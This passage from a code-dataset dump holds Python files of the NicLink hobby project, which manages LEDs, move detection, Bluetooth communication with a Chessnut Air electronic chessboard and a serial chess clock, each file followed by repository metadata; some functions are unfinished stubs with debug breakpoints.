disconnected --\n") def beep(self) -> None: """make the chessboard beep""" self.nl_interface.beep() def reset(self) -> None: """reset NicLink""" # this instances game board self.game_board = chess.Board() # the last move the user has played self.last_move = None # turn off all the lights self.turn_off_all_LEDs() # ## Treading Events ### # a way to kill the program from outside self.game_over = threading.Event() self.has_moved = threading.Event() self.kill_switch = threading.Event() self.start_game = threading.Event() self.logger.debug("NicLinkManager reset\n") def set_led(self, square: str, status: bool) -> None: """set an LED at a given square to a status @param: square (square: a1, e4 etc) @param: status: True | False @side_effect: changes led on chessboard """ global FILES # find the file number by iteration found = False letter = square[0] file_num = 0 while file_num < 8: if letter == FILES[file_num]: found = True break file_num += 1 # find the number by straight conversion, and some math. num = int(square[1]) - 1 # it's 0 based if not found: raise ValueError(f"{square[1]} is not a valid file") # this is supper fd, but the chessboard internally strt counting at h8 self.nl_interface.set_LED(7 - num, 7 - file_num, status) def set_move_LEDs(self, move: str) -> None: """highlight a move. Light up the origin and destination LED @param: move: a move in uci @side_effect: changes board led's. Shut's off all led's, and display's the move """ self.logger.info("man.set_move_LEDs( %s ) called\n", move) move_led_map = build_led_map_for_move(move) # log led map self.logger.debug("move led map created. Move: %s \n map: ", move) log_led_map(move_led_map, self.logger) self.set_all_LEDs(move_led_map) def set_all_LEDs(self, light_board: npt.NDArray[np.str_]) -> None: """set all led's on ext. chess board @param: light_board - a list of len 8 made up of str of len 8 with the 1 for 0 off for the led of that square """ self.logger.debug("set_all_LEDs(light_board: np.ndarray[np.str_]): \ called with following light_board:") log_led_map(light_board, self.logger) # the pybind11 use 8 str, because it is difficult # to use complex data structures between languages self.nl_interface.set_all_LEDs( str(light_board[0]), str(light_board[1]), str(light_board[2]), str(light_board[3]), str(light_board[4]), str(light_board[5]), str(light_board[6]), str(light_board[7]), ) def turn_off_all_LEDs(self) -> None: """turn off all the leds""" self.nl_interface.lights_out() def signal_lights(self, sig_num: int) -> None: """signal the user via displaying a set of lights on the board @param: sig_num - the signal number corresponding to the signal to show ie: 1 - ring of lights 2 - black half lit up 3 - white half lit up 4 - central line 5 - cross in center 6 - random stuff @side effect - change the light's on the chess board """ if sig_num == 1: """signal 1 - ring of lights""" sig = np.array( [ "11111111", "10000001", "10111101", "10100101", "10100101", "10111101", "10000001", "11111111", ], dtype=np.str_, ) self.set_all_LEDs(sig) elif sig_num == 2: """signal 2 - black half lit up""" sig = np.array( [ "00000000", "00000000", "00000000", "00000000", "11111111", "11111111", "11111111", "11111111", ], dtype=np.str_, ) self.set_all_LEDs(sig) elif sig_num == 3: """signal 3 - white half lit up""" sig = np.array( [ "11111111", "11111111", "11111111", "11111111", "00000000", "00000000", "00000000", "00000000", ], dtype=np.str_, ) self.set_all_LEDs(sig) elif sig_num == 4: """Signal 4 - center line""" sig = np.array( [ "11111111", "00000000", "00000000", "11111111", "11111111", "00000000", "00000000", "11111111", ], dtype=np.str_, ) self.set_all_LEDs(sig) elif sig_num == 5: """Signal 5 - center cross""" sig = np.array( [ "00011000", "01011010", "00011000", "11111111", "11111111", "00011000", "01011010", "00011000", ], dtype=np.str_, ) self.set_all_LEDs(sig) elif sig_num == 6: """Signal 6 - crazy lights""" sig = np.array( [ "11000011", "11011011", "00011000", "01100110", "01100110", "00011000", "11011011", "11000011", ], dtype=np.str_, ) self.set_all_LEDs(sig) if self.last_move is not None: time.sleep(0.4) self.set_move_LEDs(self.last_move) def get_FEN(self) -> str: """get the board FEN from chessboard""" fen = self.nl_interface.get_FEN() if fen is not None: return fen else: raise NoNicLinkFEN("No fen got from board") def put_board_FEN_on_board(self, boardFEN: str) -> chess.Board: """show just the board part of FEN on asci chessboard, then return it for logging purposes @param: boardFEN: just the board part of a fen, ie: 8/8/8/8/8/8/8 for empty board ... @return: a chess.Board with that board fen on it """ tmp_board = chess.Board() tmp_board.set_board_fen(boardFEN) print(tmp_board) return tmp_board def find_move_from_FEN_change( self, new_FEN: str) -> str: # a move in coordinate notation """get the move that occurred to change the game_board fen into a given FEN. @param: new_FEN a board fen of the pos. of external board to parse move from return: the move in coordinate notation """ old_FEN = self.game_board.board_fen() if new_FEN == old_FEN: self.logger.debug("no fen difference. FEN was %s", old_FEN) raise NoMove("No FEN difference") self.logger.debug("new_FEN" + new_FEN) self.logger.debug("old FEN" + old_FEN) # get a list of the legal moves legal_moves = list(self.game_board.legal_moves) tmp_board = self.game_board.copy() self.logger.debug( "+++ find_move_from_FEN_change(...) called +++\n\ current board: \n%s\n board we are using to check legal moves: \n%s\n", self.put_board_FEN_on_board(self.get_FEN()), self.game_board, ) # find move by brute force for move in legal_moves: # self.logger.info(move) tmp_board.push(move) # Make the move on the board # Check if the board's FEN matches the new FEN if (tmp_board.board_fen() == new_FEN): self.logger.info("move was found to be: %s", move) return move.uci() # Return the last move tmp_board.pop() # Undo the move and try another error_board = chess.Board() error_board.set_board_fen(new_FEN) self.show_board_diff(error_board, self.game_board) message = f"Board we see:\n{str(error_board)}\nis not a possible \ result from a legal move on:\n{str(self.game_board)}\n" raise IllegalMove(message) def check_game_board_against_external(self) -> bool: """check if the external board is a given board FEN @param FEN: str: the FEN the ext board should be @returns: if the external board FEN is == the FEN """ nl_FEN = self.nl_interface.get_FEN() return self.game_board.board_fen() == nl_FEN def check_for_move(self) -> bool | str: """check if there has been a move on the chessboard, and see if is is valid. If so update self.last_move @returns: self.last_move - the move got from the chessboard """ # ensure the move was valid # get current FEN on the external board new_FEN = self.nl_interface.get_FEN() if new_FEN is None: raise ValueError("No FEN from chessboard") try: # will cause an index error if game_board has no moves last_move = self.game_board.pop() # check if you just have not moved the opponent's piece if new_FEN == self.game_board.board_fen(): self.logger.debug( "board fen is the board fen before opponent move made on \ chessboard. Returning") self.game_board.push(last_move) time.sleep(self.refresh_delay) return False self.game_board.push(last_move) except IndexError: last_move = False # if it is an empty list of moves if new_FEN != self.game_board.board_fen: # a change has occurred on the chessboard # check to see if the game is over if self.game_over.is_set(): return False # check if the move is valid, and set last move try: self.last_move = self.find_move_from_FEN_change(new_FEN) except IllegalMove as err: log_handled_exception(err) self.logger.warning( "\n===== move not valid, undue it and try again. \ it is white's turn? %s =====\n board we are using to check for moves:\n%s\n", self.game_board.turn, self.game_board, ) # show the board diff from what we are checking for legal moves logger.info( "diff from board we are checking legal moves on:\n") current_board = chess.Board(new_FEN) self.show_board_diff(current_board, self.game_board) # pause for the refresh_delay and allow other threads to run time.sleep(self.refresh_delay) return False # return the move with self.lock: return self.last_move else: self.logger.debug("no change in FEN.") self.turn_off_all_LEDs() # pause for a refresher time.sleep(self.refresh_delay) return False def await_move(self) -> str | None: """wait for legal move, and return it in coordinate notation after making it on internal board """ global NO_MOVE_DELAY # loop until we get a valid move attempts = 0 while not self.kill_switch.is_set(): self.logger.debug("is game_over threading event set? %s", self.game_over.is_set()) # check for a move. If it move, return it else False try: move = False # check if the game is over if self.game_over.is_set(): return if self.check_for_move(): move = self.get_last_move() if move: # if we got a move, return it and exit self.logger.info( "move %s made on external board. there where %s \ attempts to get", move, attempts, ) return move else: self.logger.debug("no move") # if move is false continue continue except NoMove: # no move made, wait refresh_delay and continue attempts += 1 self.logger.debug("NoMove from chessboard. Attempt: %s", attempts) time.sleep(NO_MOVE_DELAY) continue except IllegalMove as err: # IllegalMove made, waiting then trying again attempts += 1 self.logger.error( "\nIllegal Move: %s | waiting NO_MOVE_DELAY= %s and" + " checking again.\n", err, NO_MOVE_DELAY, ) time.sleep(NO_MOVE_DELAY) continue # exit Niclink raise ExitNicLink("in await_move():\nkill_switch.is_set: %s" % (self.kill_switch.is_set(), )) def get_last_move(self) -> str: """get the last move played on the chessboard""" with self.lock: if self.last_move is None: raise ValueError("ERROR: last move is None") return self.last_move def make_move_game_board(self, move: str) -> None: """make a move on the internal rep. of the game_board. do not update the last move made, or the move LED's on ext board. This is not done automatically so external program's can have more control. @param: move - move in uci str """ self.logger.info("move made on game board. move %s", move) self.game_board.push_uci(move) self.logger.debug( "made move on internal nl game board, BOARD POST MOVE:\n%s", self.game_board, ) def set_board_FEN(self, board: chess.Board, FEN: str) -> None: """set a board up according to a FEN""" chess.Board.set_board_fen(board, fen=FEN) def set_game_board_FEN(self, FEN: str) -> None: """set the internal game board FEN""" self.set_board_FEN(self.game_board, FEN) def show_FEN_on_board(self, FEN: str) -> chess.Board: """print a FEN on on a chessboard @param: FEN - (str) FEN to display on board @returns: a board with the fen on it """ board = chess.Board() self.set_board_FEN(board, FEN) print(board) return board # for logging purposes def show_board_state(self) -> None: """show the state of the real world board""" curFEN = self.get_FEN() self.show_FEN_on_board(curFEN) def show_game_board(self) -> None: """print the internal game_board. Return it for logging purposes""" print(self.game_board) def set_game_board(self, board: chess.Board) -> None: """set the game board @param: board - the board to set as the game board """ with self.lock: self.game_board = board def gameover_lights(self) -> None: """show some fireworks""" self.nl_interface.gameover_lights() def square_in_last_move(self, square: str) -> bool: """is the square in the last move? @param: square - a square in algebraic notation @returns: bool - if the last move contains that square """ if self.last_move: if square in self.last_move: return True return False def show_board_diff(self, board1: chess.Board, board2: chess.Board) -> bool: """show the difference between two boards and output difference on the chessboard @param: board1 - reference board @param: board2 - board to display diff from reference board @side_effect: changes led's to show diff squares @returns: bool - if there is a diff """ self.logger.debug( "man.show_board_diff entered w board's \n%s\nand\n%s", board1, board2, ) # go through the squares and turn on the light for ones pieces are # misplaced diff = False # for building the diff array that work's for the way we set LED's zeros = "00000000" diff_squares = [] # what squares are the diff's on diff_map = np.copy(ZEROS) for n in range(0, 8): # handle diff's for a file for a in range(ord("a"), ord("h")): # get the square in algebraic notation form square = chr(a) + str(n + 1) # real life is not 0 based py_square = chess.parse_square(square) if board1.piece_at(py_square) != board2.piece_at(py_square): # record the diff in diff array, while # keeping the last move lit up if not self.square_in_last_move(square): diff = True self.logger.info( """man.show_board_diff(...): Diff found at \ square %s""", square, ) # add square to list off diff squares diff_cords = square_cords(square) diff_squares.append(square) diff_map[diff_cords[1]] = (zeros[:diff_cords[0]] + "1" + zeros[diff_cords[0]:]) if diff: # set all the led's that differ self.set_all_LEDs(diff_map) self.logger.warning( "show_board_diff: diff found --> diff_squares: %s\n", diff_squares, ) self.logger.debug("diff boards:\nInternal Board:\n" + str(board2) + "\nExternal board:\n" + str(board1) + "\n") self.logger.debug("diff map made:") log_led_map(diff_map, self.logger) print("diff from game board --> diff_squares: %s\n" % diff_squares) else: if self.last_move is not None: # set the last move lights for last move self.set_move_LEDs(self.last_move) return diff def get_game_FEN(self) -> str: """get the game board FEN""" return self.game_board.fen() def is_game_over(self, ) -> dict | bool: """is the internal game over?""" if self.game_board.is_checkmate(): return { "over": True, "winner": self.game_board.turn, "reason": "checkmate", } if self.game_board.is_stalemate(): return {"over": True, "winner": False, "reason": "Is a stalemate"} if self.game_board.is_insufficient_material(): return { "over": True, "winner": False, "reason": "Is insufficient material", } if self.game_board.is_fivefold_repetition(): return { "over": True, "winner": False, "reason": "Is fivefold repetition.", } if self.game_board.is_seventyfive_moves(): return { "over": True, "winner": False, "reason": "A game is automatically drawn if the half-move clock" + " since a capture or pawn move is equal to or greater" + " than 150. Other means to end a game take precedence.", } return False def opponent_moved(self, move: str) -> None: """the other player moved in a chess game. Signal LEDS_changed and update last move @param: move - the move in a uci str @side_effect: set's move led's """ self.logger.debug("opponent moved %s", move) self.last_move = move self.set_move_LEDs(move) # === helper functions === def square_cords(square) -> tuple[int, int]: """find coordinates for a given square on the chess board. (0, 0) is a1. @params: square - std algebraic square, ie b3, a8 @returns: tuple of the (x, y) coord of the square (0 based) (file, rank) """ global FILES rank = int(square[1]) - 1 # it's 0 based # find the file number by iteration found = False letter = square[0] file_num = 0 while file_num < 8: if letter == FILES[file_num]: found = True break file_num += 1 if not found: raise ValueError(f"{square[0]} is not a valid file") return (file_num, rank) def log_led_map(led_map: npt.NDArray[np.str_], logger) -> None: """log led map pretty 8th file to the top""" logger.debug("\nLOG LED map:\n") logger.debug(str(led_map[7])) logger.debug(str(led_map[6])) logger.debug(str(led_map[5])) logger.debug(str(led_map[4])) logger.debug(str(led_map[3])) logger.debug(str(led_map[2])) logger.debug(str(led_map[1])) logger.debug(str(led_map[0])) def build_led_map_for_move(move: str) -> npt.NDArray[np.str_]: """build the led_map for a given uci move @param: move - move in uci @return: constructed led_map """ global logger, ZEROS zeros = "00000000" logger.debug("build_led_map_for_move(%s)", move) led_map = np.copy(ZEROS) # get the square cords and the coordinates s1 = move[:2] s2 = move[2:] s1_cords = square_cords(s1) s2_cords = square_cords(s2) # if they are not on the same rank if s1_cords[1] != s2_cords[1]: # set 1st square led_map[s1_cords[1]] = (zeros[:s1_cords[0]] + "1" + zeros[s1_cords[0]:]) logger.debug("map after 1st move cord (cord): %s", s1_cords) log_led_map(led_map, logger) # set second square led_map[s2_cords[1]] = (zeros[:s2_cords[0]] + "1" + zeros[s2_cords[0]:]) logger.debug("led map made for move: %s\n", move) log_led_map(led_map, logger) # if they are on the same rank else: rank = list(zeros) rank[s1_cords[0]] = "1" rank[s2_cords[0]] = "1" logger.debug("led rank computed", rank) rank_str = "".join(rank) # insert into led_map as numpy string led_map[s1_cords[1]] = np.str_(rank_str) return led_map # ==== logger setup ==== def set_up_logger() -> None: """Only run when this module is run as __main__""" global logger formatter = logging.Formatter( "%(asctime)s %(levelname)s %(module)s %(message)s") consoleHandler = logging.StreamHandler(sys.stdout) consoleHandler.setFormatter(formatter) consoleHandler.setLevel(logging.ERROR) logger.addHandler(consoleHandler) # logging to a file fileHandler = logging.FileHandler("NicLink.log") logger.addHandler(fileHandler) DEBUG = False if DEBUG: logger.info("DEBUG is set.") logger.setLevel(logging.DEBUG) fileHandler.setLevel(logging.DEBUG) consoleHandler.setLevel(logging.DEBUG) else: logger.info("DEBUG not set") fileHandler.setLevel(logging.INFO) logger.setLevel(logging.ERROR) consoleHandler.setLevel(logging.ERROR) # === exception logging === # log unhandled exceptions to the log file def log_except_hook(excType, excValue, traceback): global logger logger.error("Uncaught exception", exc_info=(excType, excValue, traceback)) def log_handled_exception(exception: Exception) -> None: """log a handled exception""" global logger logger.debug("Exception handled: %s", exception) # setup except hook sys.excepthook = log_except_hook
30,336
Python
.py
768
28
237
0.541946
nicvagn/NicLink
8
3
0
GPL-3.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,615
constants.py
nicvagn_NicLink/nicsoft/niclink/nl_bluetooth/constants.py
""" Constant used in the program""" # When the board is first connected it is necessary to send it a three byte initialisation code: INITIALIZASION_CODE = b"\x21\x01\x00" # The board will then send back a three byte confirmation code: CONFIRMATION_CHARACTERISTICS = b"\x21\x01\x00" # The signals from the board consist of a sequence of 38 bytes. The first two are: HEAD_BUFFER = b"\x01\x24" # Communications using BLE DEVICELIST = ["Chessnut Air", "Smart Chess"] WRITECHARACTERISTICS = "1B7E8272-2877-41C3-B46E-CF057C562023" READCONFIRMATION = "1B7E8273-2877-41C3-B46E-CF057C562023" READDATA = "1B7E8262-2877-41C3-B46E-CF057C562023" # Within each byte the lower 4 bits represent the # first square and the higher 4 bits represent the # second square MASKLOW = 0b00001111 # Each square has a value specifying the piece: convertDict = { 0: " ", 1: "q", 2: "k", 3: "b", 4: "p", 5: "n", 6: "R", 7: "P", 8: "r", 9: "B", 10: "N", 11: "Q", 12: "K", }
1,000
Python
.py
32
28.53125
96
0.697409
nicvagn/NicLink
8
3
0
GPL-3.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,616
__init__.py
nicvagn_NicLink/nicsoft/niclink/nl_bluetooth/__init__.py
# NicLink is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. # # NicLink is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. # # You should have received a copy of the GNU General Public License along with NicLink. If not, see <https://www.gnu.org/licenses/>. import asyncio from bleak import BleakClient from .constants import ( INITIALIZASION_CODE, MASKLOW, READCONFIRMATION, READDATA, WRITECHARACTERISTICS, convertDict, ) from .discovery import GetChessnutAirDevices """ A api for getting the FEN etc. from the board with bluetooth """ currentFEN = None oldData = None CLIENT = None # the values for specifying the square in rowan LED ROW_SQUARE_VALUES = [128, 64, 32, 16, 8, 4, 2, 1] # keeps track of what led's are on. led = bytearray([0x0A, 0x08, 0x1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]) def connect() -> None: # -> bool: """try to connect to the board over bluetooth""" connect = GetChessnutAirDevices() # get device asyncio.run(connect.discover()) # connect to device asyncio.run(run(connect)) def disconnect(): """disscoiiect from the chessboard""" print("BLUETOOTH DISCONECT. WHY WOULD I cALL THIS?") def beep(): """make the chessboard beep""" print("BEEP") def get_FEN() -> str | None: """get the FEN from the chessboard over bluetooth""" print("BLUETOOTH get fen") return currentFEN def lightsOut(): """turn off all the chessboard lights""" print("lights out bt") led = bytearray([0x0A, 0x08, 0x1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]) # send the led bytearray with all zero for last 8 bytes CLIENT.write_gatt_char(WRITECHARACTERISTICS, led) def set_LED(x, y, status) -> None: """set a led on the chessboard""" set_bit(led, y, status) CLIENT.write_gatt_char(WRITECHARACTERISTICS, led) def set_all_LEDs(ln1, ln2, ln3, ln4, ln5, ln6, ln7, ln8): raise NotImplemented def updateFEN(data): """update the currentFEN first two bytes should be 0x01 0x24. The next 32 bytes specify the position. Each square has a value specifying the piece: Value 0 1 2 3 4 5 6 7 8 9 A B C Piece . q k b p n R P r B N Q K q k b p n R P r B N Q K Each of the 32 bytes represents two squares with the order being the squares labelled H8,G8,F8...C1,B1,A1. Within each byte the lower 4 bits represent the first square and the higher 4 bits represent the second square. This means that if the 32 bits were written out in normal hex characters the pairs would actually appear reversed. For example, the 32 bytes for the normal starting position with black on the 7th and 8th ranks would be shown as: 58 23 31 85 44 44 44 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 77 77 77 77 A6 C9 9B 6A So the first byte's value of 0x58 means a black rook (0x8) on H8 and a black knight (0x5) on G8 and the second byte's value of 0x23 means a black bishop (0x3) on F8 and a black king (0x2) on E8. """ chessboard = [8] for col_num in range(0, 8): empty = 0 # a value for setting empty part's of the fen row = reversed(data[col_num * 4 : col_num * 4 + 4]) print(row) # chessboard[col_num] = row byte_num = 0 convertedRow = [] for b in row: breakpoint() if b >> 4 == 0: empty += 1 breakpoint() continue convertedRow[byte_num] = (convertDict[b >> 4], convertDict[b & MASKLOW]) byte_num += 1 chessboard[col_num] = convertedRow print(chessboard) def set_bit(v, index, x): """Set the index:th bit of v to 1 if x is truthy, else to 0, and return the new value.""" mask = 1 << index # Compute mask, an integer with just bit 'index' set. v &= ~mask # Clear the bit indicated by the mask (if x is False) if x: v |= mask # If x was True, set the bit indicated by the mask. return v # Return the result, we're done. def printBoard(data): """Print the board in a human readable format. first two bytes should be 0x01 0x24. The next 32 bytes specify the position. Each square has a value specifying the piece: Value 0 1 2 3 4 5 6 7 8 9 A B C Piece . q k b p n R P r B N Q K q k b p n R P r B N Q K Each of the 32 bytes represents two squares with the order being the squares labelled H8,G8,F8...C1,B1,A1. Within each byte the lower 4 bits represent the first square and the higher 4 bits represent the second square. This means that if the 32 bits were written out in normal hex characters the pairs would actually appear reversed. For example, the 32 bytes for the normal starting position with black on the 7th and 8th ranks would be shown as: 58 23 31 85 44 44 44 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 77 77 77 77 A6 C9 9B 6A So the first byte's value of 0x58 means a black rook (0x8) on H8 and a black knight (0x5) on G8 and the second byte's value of 0x23 means a black bishop (0x3) on F8 and a black king (0x2) on E8. """ for counterColum in range(0, 8): print(8 - counterColum, " ", end=" ") row = reversed(data[counterColum * 4 : counterColum * 4 + 4]) for b in row: print(convertDict[b >> 4], convertDict[b & MASKLOW], end=" ") print("") print(" a b c d e f g h\n\n") async def leds(data): """Switch on all non empty squares. The other data sent to the board controls the LEDs. There are two control bytes and 8 data bytes: 0x0A 0x08 <R8> <R7> <R6> <R5> <R4> <R3> <R2> <R1> where the 8 bytes represent the LEDs with one byte for each row of the board. The first byte is for the row furthest away (labelled A8..H8). For each byte the value is determined by whether the LED for each square needs to be on or off. If the square is off then it will have a value of 0 and if it needs to be on then the value will be based on the square position in the row, with values being: 128 64 32 16 8 4 2 1 The values for all the squares in the row are added together, meaning the maximum value of the byte is 255 which would occur if all of the LEDs in the row were turned on. So to show the move E2-E4 (with the board in the normal, non-flipped position) the ten bytes (including the controls) would be: 0A 08 00 00 00 00 08 00 08 00 To turn off all LEDs you just send the 10 bytes with the last 8 bytes all as zero values """ led = bytearray([0x0A, 0x08, 0x1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]) for counterColum in range(0, 8): row = data[counterColum * 4 : counterColum * 4 + 4] for counter, b in enumerate(row): v = led[counterColum + 2] n1 = convertDict[b & MASKLOW] if n1.isalnum(): v = set_bit(v, counter * 2, 1) led[counterColum + 2] = v n2 = convertDict[b >> 4] if n2.isalnum(): v = set_bit(v, counter * 2 + 1, 1) led[counterColum + 2] = v await CLIENT.write_gatt_char(WRITECHARACTERISTICS, led) async def run(connect, debug=False): """Connect to the device and run the notification handler. then read the data from the device. after 100 seconds stop the notification handler. """ print("device.adress: ", connect.device.address) async def notification_handler(characteristic, data): """Handle the notification from the device and print the board.""" global oldData # print("data: ", ''.join('{:02x}'.format(x) for x in data)) if data[2:34] != oldData: # printBoard(data[2:34]) updateFEN(data[2:34]) await leds(data[2:34]) oldData = data[2:34].copy() global CLIENT async with BleakClient(connect.device) as client: # TODO: this global variable is a derty trick CLIENT = client print(f"Connected: {client.is_connected}") # send initialisation string await client.start_notify( READDATA, notification_handler ) # start the notification handler await client.write_gatt_char( WRITECHARACTERISTICS, INITIALIZASION_CODE ) # send initialisation string await asyncio.sleep(100.0) ## wait 100 seconds await client.stop_notify(READDATA) # stop the notification handler def gameover_lights() -> None: """just to remind me""" raise NotImplemented() if __name__ == "__main__": c = GetChessnutAirDevices() # get device asyncio.run(c.discover()) # connect to device asyncio.run(run(c))
9,097
Python
.py
195
40.169231
237
0.660833
nicvagn/NicLink
8
3
0
GPL-3.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,617
discovery.py
nicvagn_NicLink/nicsoft/niclink/nl_bluetooth/discovery.py
"""Discover chessnut Air devices. See pdf file Chessnut_comunications.pdf for more information.""" import asyncio import logging from bleak import BleakScanner, BleakClient from bleak.backends.device import BLEDevice from bleak.backends.scanner import AdvertisementData # from constants import DEVICELIST from .constants import DEVICELIST class GetChessnutAirDevices: """Class created to discover chessnut Air devices. It returns the first device with a name that maches the names in DEVICELIST. """ def __init__(self, timeout=10.0): self.deviceNameList = DEVICELIST # valid device name list self.device = self.advertisement_data = None def filter_by_name( self, device: BLEDevice, advertisement_data: AdvertisementData, ) -> None: """Callback for each discovered device. return True if the device name is in the list of valid device names otherwise it returns False""" if any(ext in device.name for ext in self.deviceNameList): self.device = device return True else: return False async def discover(self, timeout=10.0): """Scan for chessnut Air devices""" print("scanning, please wait...") await BleakScanner.find_device_by_filter(self.filter_by_name) if self.device is None: print("No chessnut Air devices found") return print("done scanning") # if __name__ == "__main__": # connect = GetChessnutAirDevices() # asyncio.run(connect.discover())
1,576
Python
.py
42
31.190476
69
0.686802
nicvagn/NicLink
8
3
0
GPL-3.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,618
main.py
nicvagn_NicLink/nicsoft/niclink/nl_bluetooth/main.py
from discovery import GetChessnutAirDevices import asyncio from bleak import BleakClient from constants import ( INITIALIZASION_CODE, WRITECHARACTERISTICS, READCONFIRMATION, READDATA, convertDict, MASKLOW, ) oldData = None CLIENT = None def printBoard(data): """Print the board in a human readable format. first two bytes should be 0x01 0x24. The next 32 bytes specify the position. Each square has a value specifying the piece: Value 0 1 2 3 4 5 6 7 8 9 A B C Piece . q k b p n R P r B N Q K q k b p n R P r B N Q K Each of the 32 bytes represents two squares with the order being the squares labelled H8,G8,F8...C1,B1,A1. Within each byte the lower 4 bits represent the first square and the higher 4 bits represent the second square. This means that if the 32 bits were written out in normal hex characters the pairs would actually appear reversed. For example, the 32 bytes for the normal starting position with black on the 7th and 8th ranks would be shown as: 58 23 31 85 44 44 44 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 77 77 77 77 A6 C9 9B 6A So the first byte's value of 0x58 means a black rook (0x8) on H8 and a black knight (0x5) on G8 and the second byte's value of 0x23 means a black bishop (0x3) on F8 and a black king (0x2) on E8. """ for counterColum in range(0, 8): print(8 - counterColum, " ", end=" ") row = reversed(data[counterColum * 4 : counterColum * 4 + 4]) for b in row: print(convertDict[b >> 4], convertDict[b & MASKLOW], end=" ") print("") print(" a b c d e f g h\n\n") async def leds(data): """Switch on all non empty squares. The other data sent to the board controls the LEDs. There are two control bytes and 8 data bytes: 0x0A 0x08 <R8> <R7> <R6> <R5> <R4> <R3> <R2> <R1> where the 8 bytes represent the LEDs with one byte for each row of the board. The first byte is for the row furthest away (labelled A8..H8). For each byte the value is determined by whether the LED for each square needs to be on or off. If the square is off then it will have a value of 0 and if it needs to be on then the value will be based on the square position in the row, with values being: 128 64 32 16 8 4 2 1 The values for all the squares in the row are added together, meaning the maximum value of the byte is 255 which would occur if all of the LEDs in the row were turned on. So to show the move E2-E4 (with the board in the normal, non-flipped position) the ten bytes (including the controls) would be: 0A 08 00 00 00 00 08 00 08 00 To turn off all LEDs you just send the 10 bytes with the last 8 bytes all as zero values """ def set_bit(v, index, x): """Set the index:th bit of v to 1 if x is truthy, else to 0, and return the new value.""" mask = 1 << index # Compute mask, an integer with just bit 'index' set. v &= ~mask # Clear the bit indicated by the mask (if x is False) if x: v |= mask # If x was True, set the bit indicated by the mask. return v # Return the result, we're done. led = bytearray([0x0A, 0x08, 0x1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]) for counterColum in range(0, 8): row = data[counterColum * 4 : counterColum * 4 + 4] for counter, b in enumerate(row): v = led[counterColum + 2] n1 = convertDict[b & MASKLOW] if n1.isalnum(): v = set_bit(v, counter * 2, 1) led[counterColum + 2] = v n2 = convertDict[b >> 4] if n2.isalnum(): v = set_bit(v, counter * 2 + 1, 1) led[counterColum + 2] = v await CLIENT.write_gatt_char(WRITECHARACTERISTICS, led) async def run(connect, debug=False): """Connect to the device and run the notification handler. then read the data from the device. after 100 seconds stop the notification handler. """ print("device.adress: ", connect.device.address) async def notification_handler(characteristic, data): """Handle the notification from the device and print the board.""" global oldData # print("data: ", ''.join('{:02x}'.format(x) for x in data)) if data[2:34] != oldData: printBoard(data[2:34]) await leds(data[2:34]) oldData = data[2:34].copy() global CLIENT async with BleakClient(connect.device) as client: # TODO: this global variable is a derty trick CLIENT = client print(f"Connected: {client.is_connected}") # send initialisation string await client.start_notify( READDATA, notification_handler ) # start the notification handler await client.write_gatt_char( WRITECHARACTERISTICS, INITIALIZASION_CODE ) # send initialisation string await asyncio.sleep(100.0) ## wait 100 seconds await client.stop_notify(READDATA) # stop the notification handler ##connect = GetChessnutAirDevices() ## get device # asyncio.run(connect.discover()) ## connect to device # asyncio.run(run(connect)) #
5,265
Python
.py
113
39.60177
103
0.654333
nicvagn/NicLink
8
3
0
GPL-3.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,619
chess_clock.py
nicvagn_NicLink/nicsoft/lichess/chess_clock.py
# chess_clock is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or ( at your option ) any later version. # # chess_clock is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. # # You should have received a copy of the GNU General Public License along with chess_clock. If not, see <https://www.gnu.org/licenses/>. import logging import os import sys from datetime import datetime, timedelta from threading import Event, Lock, Thread from time import sleep import berserk import readchar import serial from berserk import Client from berserk.exceptions import ResponseError from game import Game from game_state import GameState from niclink.nl_exceptions import * """ snip from chess_clock.ino case '2': signalGameOver(); break; case '3': // show a str on LED read from Serial printSerialMessage(); break; case '4': // start a new game newGame(); break; case '5': // show the splay niclink_splash(); break; case '6': // white one, and the game is over white_won(); break; case '7': // black won the game black_won(); break; case '8': // game is a draw drawn_game(); break; case '@': //say hello lcd.clear(); lcd.setCursor(1, 0); lcd.print("Hi there"); break; """ class ChessClock: """a controlling class to encapsulate and facilitate interaction's with Arduino chess clock. Starts the game time when this object is created Attributes ---------- logger : logger self explanitory I think chess_clock : Serial the serial port that the niclink(tm) ardino chess clock is connected to lcd_length : int the char lingth of the lcd in chess clock displayed_wtime : timedelta the last recived white time delta from lila displayed_btime : timedelta the last recived black time delta from lila move_time : datetime | None time of the last move white_to_move : bool is it whites move? """ def __init__( self, serial_port: str, baudrate: int, timeout: float, logger=None, ): """initialize connection with ardino, and record start time""" # the refresh rate of the lcd self.TIME_REFRESH = 0.3 if logger is not None: self.logger = logger else: self.logger = logging.getLogger("chess_clock") self.chess_clock = serial.Serial( port=serial_port, baudrate=baudrate, timeout=timeout ) self.lcd_length = 16 # times to be displayed on lcd self.displayed_btime: timedelta = None self.displayed_wtime: timedelta = None # the countdown thread var self.countdown: None | Thread = None self.move_time: None | datetime = None # has the countdown been started? self.countdown_started = Event() # is the lcd handling a game? self.handling_game = Event() # event to signal white to move self.white_to_move: threading.Event = Event() # event to signal game over self.countdown_kill: threading.Event = Event() # a lock for accessing the time vars self.time_lock = Lock() # lcd use lock self.lcd_lock = Lock() # time left for the player that moved, at move time self.time_left_at_move: timedelta = None # clear lcd and lcd serial self.clear() # countdown thread self.countdown = Thread(target=self.time_keeper, args=(self,), 